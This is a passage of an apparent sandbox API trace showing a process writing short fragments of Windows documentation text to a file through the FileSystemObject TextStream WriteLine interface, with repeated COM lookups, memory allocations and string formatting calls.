(in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.652] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767c08, pBstrHelpFile=0x249c8758f60*="ꄰ졵ɉ") returned 0x0 [0148.652] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768508, pBstrHelpFile=0x249c8758f60*="ꄰ졵ɉ") returned 0x0 [0148.652] malloc (_Size=0x8) returned 0x249c884ee20 [0148.652] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.652] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.652] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.652] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.652] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.652] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.652] wcsncpy_s (in: _Destination=0x249ca4d47e6, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.652] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.652] free (_Block=0x249c884ee60) [0148.652] free (_Block=0x249c884ee20) [0148.652] free (_Block=0x249ca4d5de0) [0148.652] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.653] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.653] SysReleaseString () returned 0x1 [0148.653] CoTaskMemFree (pv=0x249c8761b80) [0148.653] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.653] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.653] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.653] SysAddRefString () returned 0x0 [0148.653] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.653] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.653] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.653] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768508, pBstrHelpFile=0x249c8758f60*="ꀰ졵ɉ") returned 0x0 [0148.653] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8757848, pBstrHelpFile=0x249c8758f60*="ꀰ졵ɉ") returned 0x0 [0148.653] malloc (_Size=0x8) returned 0x249c884ed40 [0148.653] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.653] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.653] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.653] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.653] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.653] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.654] wcsncpy_s (in: _Destination=0x249ca4d48d2, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.654] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.654] free (_Block=0x249c884ee60) [0148.654] free (_Block=0x249c884ed40) [0148.654] free (_Block=0x249ca4d5de0) [0148.654] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.654] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.654] SysReleaseString () returned 0x1 [0148.654] CoTaskMemFree (pv=0x249c8761b80) [0148.654] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.654] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.654] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.654] SysAddRefString () returned 0x0 [0148.654] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.655] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.655] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.655] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8757848, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.655] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768328, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.655] malloc (_Size=0x8) returned 0x249c884ed30 [0148.655] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.655] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.655] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.655] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.655] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.655] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.655] wcsncpy_s (in: _Destination=0x249ca4d49be, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.655] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.655] free (_Block=0x249c884ee60) [0148.655] free (_Block=0x249c884ed30) [0148.655] free (_Block=0x249ca4d5de0) [0148.655] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.655] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.655] SysReleaseString () returned 0x1 [0148.656] CoTaskMemFree (pv=0x249c87614f0) [0148.656] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.656] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.656] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.656] SysAddRefString () returned 0x0 [0148.656] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.656] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.656] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.656] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768328, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.656] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87680e8, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.656] malloc (_Size=0x8) returned 0x249c884ed20 [0148.656] malloc (_Size=0x14) returned 0x249ca447610 [0148.656] _snwprintf_s (in: _DstBuf=0x249ca447610, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.656] malloc (_Size=0x4e) returned 0x249c884a540 [0148.656] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.656] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.656] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.656] wcsncpy_s (in: _Destination=0x249ca4d4aaa, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.656] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.657] free (_Block=0x249ca447610) [0148.657] free (_Block=0x249c884ed20) [0148.657] free (_Block=0x249c884a540) [0148.657] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.657] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.657] SysReleaseString () returned 0x1 [0148.657] CoTaskMemFree (pv=0x249c8761b80) [0148.657] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.657] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.657] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.657] SysAddRefString () returned 0x0 [0148.657] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.657] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.657] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.657] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87680e8, pBstrHelpFile=0x249c8758f60*="鴰졵ɉ") returned 0x0 [0148.658] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768448, pBstrHelpFile=0x249c8758f60*="鴰졵ɉ") returned 0x0 [0148.658] malloc (_Size=0x8) returned 0x249c884eca0 [0148.658] malloc (_Size=0x72) returned 0x249c884a540 [0148.658] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.658] malloc (_Size=0xac) returned 0x249c884ee60 [0148.658] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.658] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.658] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.658] wcsncpy_s (in: _Destination=0x249ca4d4af2, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.658] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.658] free (_Block=0x249c884a540) [0148.658] free (_Block=0x249c884eca0) [0148.658] free (_Block=0x249c884ee60) [0148.658] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.659] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.659] SysReleaseString () returned 0x1 [0148.659] CoTaskMemFree (pv=0x249c8761b80) [0148.659] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, 